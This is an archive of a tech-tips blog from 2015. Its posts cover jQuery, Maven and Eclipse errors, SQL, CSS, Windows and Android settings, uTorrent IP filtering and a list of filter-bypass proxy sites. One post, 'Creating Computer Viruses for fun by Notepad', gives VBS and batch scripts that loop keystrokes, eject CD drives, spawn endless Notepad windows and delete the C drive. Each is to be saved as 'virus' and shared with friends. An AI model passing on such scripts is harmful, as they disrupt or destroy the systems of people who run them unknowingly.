December 8, 2015

Check for Float value on keypress using JQuery

Following is script by which you can put check for float value.





html input field on which you want to put check for float value:
 <input class="checkfloat" type="text">  

Script for Float Value check:
 $(".checkfloat").on("keypress keyup",function (event) {  
     $(this).val($(this).val().replace(/[^0-9\.]/g,''));  
     if ((event.which != 46 || event.which == 8 || event.which == 9 || $(this).val().indexOf('.') != -1)   
               && ((event.which < 48 || event.which > 57))) {  
       event.preventDefault();  
     }  
   });  

July 8, 2015

Stop or disable skype Auto-launching in Windows 8 on startup

We can stop/disable skype on windows startup by following steps:
 
Method 1: Ctrl+Shift+Esc (open Task manager) > Startup > Disable Skype

Method 2: Open Run > type msconfig > System Configuration (Disable Skype here or it will give open task manager link) >Task Manager > Startup > Disable Skype
(See Picture)

Error [solved] The superclass “javax.servlet.http.HttpServlet” was not found on the Java Build Path

Problem : The superclass “javax.servlet.http.HttpServlet” was not found on the Java Build Path.
Faced this error while using maven integration with eclipse. 
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
First found this error on the start of JSP page with one red mark over above piece of code.

Solution : Below, I have written three solution for this problem. I guess, one will work for you.

Method 1: Add Maven dependency(pom.xml)
Include servlet-api-3.1.jar in your dependencies.
 <dependency>  
  <groupId>javax.servlet</groupId>  
  <artifactId>javax.servlet-api</artifactId>  
  <version>3.1.0</version>  
  <scope>provided</scope>  
 </dependency>  

Method 2: Add a Runtimes
Properties > Project Facets > Runtimes > Check Server name > Apply > OK (As shown in Image)

Method 3: Select a Runtime to add to the classpath
Java Build Path > Libraries > Add Library > Server Runtime > Next (As shown in Image)
then select a Runtime(Apache Tomcat Server) > Finish > OK (As shown in Image)

July 6, 2015

How to Disable Text Selection on Web Page using JavaScript

This JavaScript will Disable select, copy and paste of the content. Put below given JavaScript in <script></script> tag inside <head></head>  tag of your webpage.

If you want to use this script on your blog then go-to Layout > Add a Gadget > Use HTML/JavaScript Gadget and Paste below given code inside it.

JavaScript Code:
 
//Script open tag 
 //form tags to omit in NS6+:  
 var omitformtags=["input", "textarea", "select"]  
 omitformtags=omitformtags.join("|")  
 function disableselect(e){  
 if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1)  
 return false  
 }  
 function reEnable(){  
 return true  
 }  
 if (typeof document.onselectstart!="undefined")  
 document.onselectstart=new Function ("return false")  
 else{  
 document.onmousedown=disableselect  
 document.onmouseup=reEnable  
 }  
 //Script close tag  

June 29, 2015

Block or stop connecting Peers or IP Addresses to utorrent

uTorrent is one of the more popular free torrent clients. The installer size is tiny and only a fraction of system resources are used when the program is running.

µTorrent is Very Easy Way to Download Files. Its Very Convenient to Download through this Software. The Main & very Excellent Feature of this Software is that you don't have to worry about your Link Breakdown or wait to Shutdown your Computer till your Download is Completed. It works when it gets the Internet Connection and Starts its Work. It Resumes the Downloads from where it was Interrupted.

Steps to block connecting Peers or IP Addresses:

Step 1: Options > Preferences > Advanced or press (CTRL+ P) and set the value of ipfilter.enable to true.


Step 2: Click the Peers tab. Right-click anywhere inside the Peers tab and uncheck “Resolve IPs” Tab.

Step 3: Open a Notepad window and manually type in any IP address per line that you wish to block, you can also block range of IPs eg. 192.168.2.xxx-192.168.2.xxx. Save the Notepad window (with the IP addresses) as “ipfilter.dat” (including the quotes).

Save/Paste this file on following location :
C:\Documents and Settings\<username>\Application Data\uTorrent (For Windows XP, 2003 and 2000).

C:\Users\<username>\AppData\Roaming\uTorrent (For Windows Vista, 7 and 8, 8.1).

Shortcut : Click Windows+R to open RUN an type %AppData%\uTorrent to open location.

Step 4: Right click anywhere on the Peers Tab and select Reload IP Filter:

This will block all IP Addresses that are present in your ipfilter.dat file.

June 26, 2015

Oracle and MySql : Find Top 3rd highest salary row from employee table

In Oracle using ROWNUM :
For each row returned by a query, the ROWNUM pseudocolumn returns a number indicating the order in which Oracle selects the row from a table or set of joined rows. The first row selected has a ROWNUM of 1, the second has 2, and so on.

You can use ROWNUM to limit the number of rows returned by a query, as in this example:

SELECT Cols |* FROM table_name WHERE ROWNUM < Number;

Example to find the 3rd highest salary using Oracle Database:
Employee Table :

Sql Command in action in Oracle Database
In SQL using SELECT TOP clause :

The SELECT TOP clause is used to specify the number of records to return, as in this example:

SELECT TOP number|percent column_name(s) FROM table_name;

Example to find the 3rd highest salary using MySql Database:
Query 1: SELECT MIN(SALARY) AS Salary FROM Employee WHERE SALARY IN (SELECT DISTINCT TOP 3 SALARY FROM Employee ORDER BY SALARY DESC);

Query 2 : SELECT Top 1 Salary AS Salary FROM Employee WHERE SALARY IN (SELECT DISTINCT TOP 3 SALARY FROM Employee ORDER BY SALARY DESC) ORDER BY SALARY;

Also Read : SQL : Find 2nd or 3rd highest salary from employee table without ROWNUM or TOP

June 15, 2015

Maven Installation under Windows: “JAVA_HOME is set to an invalid directory”

Problem : JAVA_HOME is set to an invalid directory. please set the java_home variable in your environment variable to match the location of your java installation.

Solution :  
Computer > Properties > Advanced System Settings > System Properties > Advanced > Environment Variables



In System Variables :
Variable Name : JAVA_HOME
Variable Value :  C:\Program Files\Java\jdk1.8.0_45 (Set your JDK)

In System Variable:
Variable Name : path or PATH
Variable Value : [already there+];%JAVA_HOME%\bin

If You are getting still this error then:
To Set JAVA_HOME : go to Command Prompt and Execute following command
set JAVA_HOME=C:\Program Files (x86)\Java\jdk1.8.0_45

Restart your IDE and Command Prompt then install mvn again. 

Please Comment Thanks to us if this topic is helpful :)

May 28, 2015

Error-JavaEE-Oracle[Solved]-Apache Maven install “'mvn' not recognized as an internal or external command”

Problem : Apache Maven install “'mvn' not recognized as an internal or external command”

Solution : Here I am using Windows 8.1 and Java 8.
1. Check out Maven in your Apache Tomcat Directory. If Maven folder is not there then download it first from this site : https://maven.apache.org/download.cgi
Download apache-maven-3.3.3-bin.zip
Unzip it and paste "apache-maven-3.3.3" inside "apache-tomcat-7.0.54" as I'm using Apache 7.
 
2. Create a user variables like this [ M2 = %M2_HOME% ]

3. Create a user variables like this [M2_HOME = F:\apache-tomcat-7.0.54\apache-maven-3.3.3\bin]
 (as my apache tomcat is in F:\ dive your may be in C:\ drive)

4. Edit the Path or PATH to [What ever is already in here +];%M2%

5. Dependency in pom.xml

6. Now open Command Prompt go-to  "F:\apache-tomcat-7.0.54\apache-maven-3.3.3\bin"
Execute following command
 mvn install:install-file -Dfile=C:\oraclexe\app\oracle\product\10.2.0\server\jdbc\lib\ojdbc14_g.jar -DgroupId=com.oracle -DartifactId=ojdbc14_g -Dversion=10.2.0 -Dpackaging=jar   




Please Comment Thanks to us if this topic is helpful :)

May 23, 2015

Error-JavaEE[Solved] : m2e Maven Dependency Plugin Install in Eclipse

Problem : Cannot complete the install because one or more required items could not be found.

Software being installed: m2e connector for the Maven Dependency Plugin 0.0.4.201410161303 (com.ianbrandt.tools.m2e.mdp.feature.feature.group 0.0.4.201410161303)

Missing requirement: m2e connector for Maven Dependency Plugin 0.0.4.201410161303 (com.ianbrandt.tools.m2e.mdp.core 0.0.4.201410161303) requires 'bundle org.eclipse.m2e.jdt 1.4.0' but it could not be found

 Cannot satisfy dependency:

 From: m2e connector for the Maven Dependency Plugin 0.0.4.201410161303 (com.ianbrandt.tools.m2e.mdp.feature.feature.group 0.0.4.201410161303)

 To: com.ianbrandt.tools.m2e.mdp.core [0.0.4.201410161303]


Solution : 
1. Start Eclipse IDE > Help > Install New Software
2. Paste site: http://download.eclipse.org/releases/indigo/  in Work with Textbox
3. Once the list loads, under "General Purpose Tools", check "m2e - Maven Integration for Eclipse ".
Continue Installation with Next
Click Finish
Wait For Completion of Installation.

NOTE : Sometimes it still shows error while installation with Eclipse Indigo
so if you are not still able to install it then download "eclipse-jee-luna-SR2-win32-x86_64" 
It already comes with m2e Maven dependency plugin.

Please Comment Thanks to us if this topic is helpful :)

April 19, 2015

Styling Hyperlinks by CSS


  • a:link - a normal, unvisited link
  • a:visited - a link the user has visited
  • a:hover - a link when the user mouses over it
  • a:active - a link the moment it is clicked
 /* unvisited link */  
 a:link {  
   color: #FF0000;  
 }  
 /* visited link */  
 a:visited {  
   color: #00FF00;  
 }  
 /* mouse over link */  
 a:hover {  
   color: #FF00FF;  
 }  
 /* selected link */  
 a:active {  
   color: #0000FF;  
 }  

Text Decoration
The text-decoration property is mostly used to remove underlines from links:
 a:link {  
   text-decoration: none;  
 }  
 a:visited {  
   text-decoration: none;  
 }  
 a:hover {  
   text-decoration: underline;  
 }  
 a:active {  
   text-decoration: underline;  
 }   

Background Color
The background-color property specifies the background color for links:
 a:link {  
   background-color: #B2FF99;  
 }  
 a:visited {  
   background-color: #FFFF85;  
 }  
 a:hover {  
   background-color: #FF704D;  
 }  
 a:active {  
   background-color: #FF704D;  
 }   

April 17, 2015

How to Open the Control Panel in Windows 8 and 8.1

Below, I have given different ways to open control panel in Windows 8 and 8.1.

1. Right click on Windows and click on Control Panel.


2.  On your desktop, open the Charms Bar, click on the Settings charm, click on Control Panel.
Or you can directly open Settings charm by pressing Windows + I keys.


3. Open Computer, In the Computer tab, click on Control Panel in the ribbon.

4. Open Computer, click on the first arrow on the left side in the address bar, click on Control Panel in the menu.

April 16, 2015

Windows 8 : Add or Remove Sleep or Hibernate in Power Options Menu of your PC

By following simple steps you can add Sleep or Hibernate to your  PC's Power Option Menu :

1. Open Control Panel > Power Options.
Or you can directly open Power Options by clicking on battery icon.

2. Now click on "Choose what the power buttons do" link given in left sidebar.

3. Then click on "Change settings that are currently unavailable" link given at the top and scroll down to bottom.

4. You'll notice that "Hibernate" or "Sleep" option is unchecked. Enable the option and apply the changes.

5. That's it. Now you can see missing hibernate or sleep option in power menu of Windows 8 as shown in following screenshot: 

Float an image to the Left or Right of Text using CSS

Float an Image to Left : (use any one)
1. Add a style attribute to the image, and apply the float property:
<img src="image-sample.jpg" alt="image-caption" style="float:left;" />
2. You can add some margins to the image to increase its readability:
<img src="image-sample.jpg" alt="image-caption" style="float:left;margin:0 5px 0 0;" />

3. With CSS float, an element can be pushed to the left, allowing other elements to wrap around it.
img {
    float: left;
}


Float an Image to Right : (use any one)
1. Add a style attribute to the image, and apply the float property:
<img src="image-sample.jpg" alt="image-caption" style="float:right;" />
2. You can add some margins to the image to increase its readability:
<img src="image-sample.jpg" alt="image-caption" style="float:right;margin:0 5px 0 0;" />

3. With CSS float, an element can be pushed to the right, allowing other elements to wrap around it. 
img {
    float: right;
}

April 13, 2015

Enable USB Debugging Mode on Android

USB Debugging grants you a level of access to your device. This level of access is important when you need system-level clearance, such as when coding a new app.USB Debugging Mode is a mode that can be enabled in Android after connecting the device directly to a computer with a USB cable. The primary function of this mode is to facilitate a connection between an Android device and a computer with Android SDK (software development kit).

1. Android 2.0-2.3.x
Settings > Applications > Development > USB Debugging
2. Android 3.0- 4.1.x
Settings > Developer Options > USB Debugging
3. Android 4.2.x and higher.
  1. Go to "Settings".
  2. Scroll down to the bottom and tap "About phone" or "About tablet",
  3. Scroll down to the bottom of the "About phone" and locate the "Build Number" field.
  4. Tap the Build number field few times to enable Developer Options. Tap a few times and you'll see a countdown that reads "You are now 3 steps away from being a developer."
  5. When you are done, you'll see the message "You are now a developer!".
  6. Tap the Back button and you'll see the Developer options menu under System on your Settings screen.
  7. Go to Settings>Developer Options>USB Debugging. Tap the USB Debugging checkbox.
4. Android 5.0 Lollipop
  1. Settings > About Phone > Build number > Tap it few times to become developer
  2. Settings > Developer Options > USB Debugging
NOTE: To disable USB Debugging and other developer options when you don't need them, slide the switch at the top of the screen from On to Off.

April 12, 2015

Android 5.0 Lollipop : Enable USB Debugging

To enable USB Debugging on Android 5.0 Lollipop

1. Settings > About Phone > Build number > Tap it few times to become developer


2. Settings > Developer Options > USB Debugging.


To disable USB Debugging and other developer options when you don't need them, slide the switch at the top of the screen from On to Off.

March 7, 2015

Creating Computer Viruses for fun by Notepad

I am providing easy codes that will make you viruses using notepad. This code based files can harm your computer so do not try these tricks on your own computer. Copy given code to Notepad and follow the given instructions.

1. Toggle your friend's Caps Lock, Num Lock, Scroll Lock buttons :
 Set wshShell =wscript.CreateObject("WScript.Shell")  
 do  
 wscript.sleep 100  
 wshshell.sendkeys "{CAPSLOCK}"
 wshshell.sendkeys "{NUMLOCK}"
 wshshell.sendkeys "{SCROLLLOCK}"  
 loop  

Save this as "virus.vbs" and share it.

2. Frustrate somebody by making him/her hit Backspace again and again :

 MsgBox "Please try to go back"  
 Set wshShell =wscript.CreateObject("WScript.Shell")  
 do  
 wscript.sleep 100  
 wshshell.sendkeys "{bs}"  
 loop  
Save this as "virus.vbs" and share it.

3. Ejecting your friend's CD Drive again n again :

 Set oWMP = CreateObject("WMPlayer.OCX.7")  
 Set colCDROMs = oWMP.cdromCollection  
 do  
 if colCDROMs.Count >= 1 then  
 For i = 0 to colCDROMs.Count - 1  
 colCDROMs.Item(i).Eject  
 Next  
 For i = 0 to colCDROMs.Count - 1  
 colCDROMs.Item(i).Eject  
 Next  
 End If  
 wscript.sleep 5000  
 loop  
Save this as "virus.vbs" and share it.

4. Creating Virus That Format C Drive : (for Win XP)

 @Echo off  
 Del C:\ *.* |y  
Save this as "virus.bat" and share it.

5. Open Notepad continually in your friend's computer:

 @ECHO off  
 :top  
 START %SystemRoot%\system32\notepad.exe  
 GOTO top  
Save this as "virus.bat" and share it.

February 28, 2015

Top 100 Free Proxy Sites – Free Proxy Servers List

A proxy server is a dedicated computer or a software system running on a computer that acts as an intermediary between an endpoint device, such as a computer, and another server from which a user or client is requesting a service. 




  • HideMyAss - https://www.hidemyass.com/proxy
  • Proxify – http://proxify.com/p/
  • Ninja Clock – http://ninjacloak.com/
  • AnonyMouse - http://anonymouse.org/
  • AnonyMizer – http://www.anonymizer.com/
  • kProxy – http://www.kproxy.com/
  • BlewPass - http://www.blewpass.com/
  • Zfreez – http://zendproxy.com/
  • Vobas – http://www.vobas.com/
  • Don’t Filter – http://www.dontfilter.us/
  • Vtunnel – http://vtunnel.com/
  • Proxy.org – http://proxy.org/
  • New Ip Now – http://newipnow.com/
  • WebProxy.net – http://webproxy.net/
  • 4everproxy - http://4everproxy.com/
  • Unblock My Web – http://www.unblockmyweb.com/
  • YouTube Unblock Proxy – http://youtubeunblockproxy.com
  • Working Proxy – http://workingproxy.net
  • Free Open Proxy – http://freeopenproxy.com
  • Proxy 2014 – http://proxy2014.net
  • Unblock YouTube Free – http://unblockyoutubefree.net
  • Free YouTube – http://freeyoutube.net
  • HideOnline Proxy – http://freeyoutube.net
  • Rapid Proxy – http://rapidproxy.us
  • Unblock YouTube Beat School – http://unblockyoutubeatschool.com
  • Hiding Your Info – http://hidingyour.info
  • Unblocker – http://unblocker.us
  • Fast USA Proxy – http://fastusaproxy.com
  • YouTube Free Proxy – http://youtubefreeproxy.net
  • Proxyo – http://proxyo.info
  • Quickproxy – http://quickproxy.co.uk
  • Defilter – http://defilter.us
  • Free Proxy Server – http://freeproxyserver.uk
  • Free YouProxyTube – http://freeyouproxytube.com
  • The Best Proxy – http://thebestproxy.info
  • EXCS – http://ecxs.asia
  • Just Proxy – http://justproxy.co.uk
  • Proxy-2014 – http://proxy-2014.com
  • VPN Browse – http://vpnbrowse.com
  • ProxyOne – https://proxyone.net
  • Web Proxy Free – http://webproxyfree.net
  • Can’t Block This – http://cantblockthis.org
  • Hide The Internet – http://hidetheinternet.com
  • Greatest Free Proxy – http://greatestfreeproxy.com
  • Proxay – http://www.proxay.co.uk
  • ViewTube – http://viewyoutube.net
  • PRO Unblock – http://pro-unblock.com
  • HideMyTraxProxy – https://hidemytraxproxy.ca/
  • Working Proxy – http://workingproxy.net
  • Star Doll Proxy – http://stardollproxy.com
  • HideMyAss UK – http://hidemyass.co.uk
  • F4FP – http://f4fp.com
  • TiaFun- http://tiafun.com
  • Proxy 4 Freedom – http://proxy4freedom.com
  • WebSurf Proxy – http://websurfproxy.me
  • Fish Proxy – http://fishproxy.com
  • DZ Hot – http://dzhot.us
  • 1FreeProxy – http://1freeproxy.pw
  • Sporium – http://sporium.org
  • Saoudi Proxy – http://saoudiproxy.info
  • Proxy Browse – http://proxybrowse.info
  • Proxy Internet – http://proxy-internet.info
  • Jezus Loves This Proxy – http://jezuslovesthisproxy.info
  • German Proxy – http://german-proxy.info
  • CA Proxies – http://caproxies.info
  • Proxy 2015 – http://proxy-2015.info
  • FB Proxies – http://fbproxies.info
  • America Proxy – http://americaproxy.info
  • PK Proxy – http://pkproxy.info
  • Suede Proxy – http://suedeproxy.info
  • To Proxy – http://toproxy.co
  • PHProxy – http://phproxy.co
  • London Proxy – http://londonproxy.eu
  • Kr Proxy – http://krproxy.info
  • Brazil Proxy – http://brazilproxy.info
  • Canada Proxy – http://canadaproxy.info
  • US Proxy – http://usproxies.info
  • Spedo – http://spedo.co
  • US Proxy – http://usproxy.nu
  • You Liaoren – http://youliaoren.com
  • Zacebook PK – http://zacebookpk.com
  • Proxys – http://proxys.pw
  • Justun Block IT – http://justunblockit.com
  • Network ByPass – http://networkbypass.com
  • Go Proxy – http://goproxy.asia
  • Proxy This – http://proxythis.info
  • Me Hide – http://mehide.asia
  • Zalmos – http://zalmos.com
  • kProxy Site – http://kproxysite.com
  • Xite Now – http://xitenow.com
  • Hidden Digital – http://hiddendigital.info
  • Surf For Free – http://surf-for-free.com
  • Intern Cloud – http://interncloud.info
  • Singapore Proxy – http://singaporeproxy.nu
  • PRO Intern – http://prointern.info
  • Fast Time – http://fasttime.info
  • Work Host – http://workhost.eu
  • Travel VPN – http://travelvpn.info
  • Proxy Call MeNames – http://proxmecallmenames.com
  • Host App – http://hostapp.eu
  • January 29, 2015

    Disclaimer

    We shall not be liable for the improper or incomplete transmission of the information contained in this communication nor for any delay in its response or damage to your system. We do not guarantee that the integrity or security of this communication has been maintained or that this communication is free of viruses, interceptions or interferences. Anyone communicating with us by email accepts the risks involved and their consequences. We accept no liability for any damage caused by any virus transmitted by this site.